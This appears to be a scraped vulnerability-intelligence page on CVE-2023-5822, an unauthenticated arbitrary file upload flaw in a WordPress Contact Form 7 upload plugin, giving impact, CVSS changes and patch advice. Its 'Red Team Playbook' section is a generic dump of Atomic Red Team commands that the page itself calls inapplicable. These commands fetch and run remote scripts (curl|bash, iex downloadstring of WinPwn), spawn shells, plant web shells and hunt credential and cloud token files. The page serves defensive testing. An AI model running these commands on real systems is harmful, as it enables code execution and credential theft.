CVE-2023-5822
Overview
This vulnerability is an arbitrary file upload flaw caused by insufficient validation of file types in the 'dnd_upload_cf7_upload' function within the Drag and Drop Multiple File Upload plugin for Contact Form 7. The affected component improperly processes file upload requests, failing to restrict acceptable file extensions when the form field is configured with a wildcard ('*') for file types. This validation weakness exists in plugin versions up to and including 1.3.7.3, allowing untrusted input to be processed without adequate sanitization.
Vulnerability Description
The Drag and Drop Multiple File Upload - Contact Form 7 plugin for WordPress is vulnerable to arbitrary file uploads due to insufficient file type validation in the 'dnd_upload_cf7_upload' function in versions up to, and including, 1.3.7.3. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible. This can be exploited if a user authorized to edit form, which means editor privileges or above, has added a 'multiple file upload' form field with '*' acceptable file types.
Impact
An unauthenticated attacker can upload arbitrary files to the server hosting the vulnerable plugin, provided that a user with editor or higher privileges has configured a multiple file upload field accepting all file types ('*'). This can facilitate remote code execution if the uploaded files are executed by the server, leading to full compromise of the affected WordPress site. The attack requires no authentication (AV:N/PR:N) but does require prior configuration by an authorized user, making it a critical risk for sites with permissive form setups.
Solution
Upgrade the Drag and Drop Multiple File Upload for Contact Form 7 plugin to a version later than 1.3.7.3 where the file type validation flaw in 'dnd_upload_cf7_upload' is corrected. Refer to the Wordfence advisory (https://www.wordfence.com/threat-intel/vulnerabilities/id/1b3be300-5b7f-4844-8637-1bb8c939ed4c) for detailed patch information and confirm that the plugin source code in subsequent releases enforces strict file type checks as per the vendor’s fix. Avoid using wildcard '*' for acceptable file types in form configurations until patched.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the Drag and Drop Multiple File Upload plugin for WordPress arises from inadequate file type validation within the 'dnd_upload_cf7_upload' function. This flaw allows unauthorized users to upload arbitrary files to the server, significantly increasing the risk of remote code execution. The core issue lies in the plugin's acceptance of a wildcard character ('*') for file types, which permits any file format to be uploaded when a user with sufficient privileges—such as an editor—creates a form field for multiple file uploads. This lack of stringent validation mechanisms exposes the server to potential exploitation, as attackers can leverage this weakness to introduce malicious scripts or executables.
Exploitation of this vulnerability can occur through various attack vectors. An unauthenticated attacker could craft a malicious file, such as a PHP script, and utilize the file upload functionality of the plugin to place this file on the server. Once the file is uploaded, the attacker may execute it by accessing the corresponding URL, thereby gaining control over the affected site. This scenario is particularly concerning if the site is hosted on a shared server or if it has inadequate security measures in place. Furthermore, if an attacker can convince a legitimate user with editor privileges to create or modify a form that includes the vulnerable upload field, they could exploit this vulnerability more easily, bypassing traditional authentication barriers.
The real-world impact of this vulnerability is profound, especially for businesses relying on WordPress for their online presence. Successful exploitation could lead to data breaches, defacement of websites, or even the complete takeover of the affected server. The consequences of such incidents can be severe, including loss of customer trust, financial repercussions due to downtime, and potential legal liabilities stemming from data protection regulations. Businesses may also face reputational damage, which can have long-lasting effects on customer relationships and brand integrity. Given the high CVSS score of 9.8, organizations must recognize the critical nature of this vulnerability and prioritize its remediation.
To detect and mitigate the risks associated with this vulnerability, organizations should implement several strategies. Regular security audits and vulnerability assessments can help identify outdated plugins and potential weaknesses in the system. Additionally, employing a web application firewall (WAF) can provide an additional layer of security by filtering out malicious requests before they reach the server. It is also crucial to ensure that all plugins and themes are kept up to date, as developers often release patches to address known vulnerabilities. Organizations should also consider restricting file upload capabilities to specific, safe file types and implementing strict access controls to limit who can modify forms and upload files.
In conclusion, the vulnerability within the Drag and Drop Multiple File Upload plugin for WordPress presents a significant threat to web applications, particularly those that handle sensitive user data. Its potential for exploitation underscores the need for robust security practices, including regular updates, vigilant monitoring, and strict validation protocols. By adopting a proactive approach to cybersecurity, organizations can mitigate the risks associated with this vulnerability and protect their digital assets from malicious actors.
Recent updates to the CVSS score for CVE-2023-5822 reflect a recalibration of the vulnerability’s severity from critical (9.8) to high (8.1), indicating a refined understanding of its exploitability and impact. CSURFACE threat intelligence notes that this adjustment aligns with the absence of new exploit developments and a stable exploitation trend, as confirmed by our telemetry showing no marked escalation in attack attempts. The EPSS score remains low and stable, underscoring limited active exploitation in the wild. This change matters because it recalibrates defender priorities, suggesting that while the vulnerability remains serious, the immediate risk of widespread exploitation is less acute than initially assessed. Consequently, security teams can allocate resources more effectively, balancing this threat against others with higher active exploitation. However, the potential for remote code execution through privileged user interaction still warrants vigilance, particularly in environments where editor-level access is common. Overall, the updated risk assessment reflects a moderated threat level that emphasizes targeted risk scenarios rather than broad, opportunistic attacks.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Codedropz | Drag And Drop Multiple File Upload - Contact Form 7 | All |
cpe:2.3:a:codedropz:drag_and_drop_multiple_file_upload_-_contact_form_7:*:*:*:*:*:wordpress:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-1 | Accessing Functionality Not Properly Constrained by ACLs |
35%
|
High | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.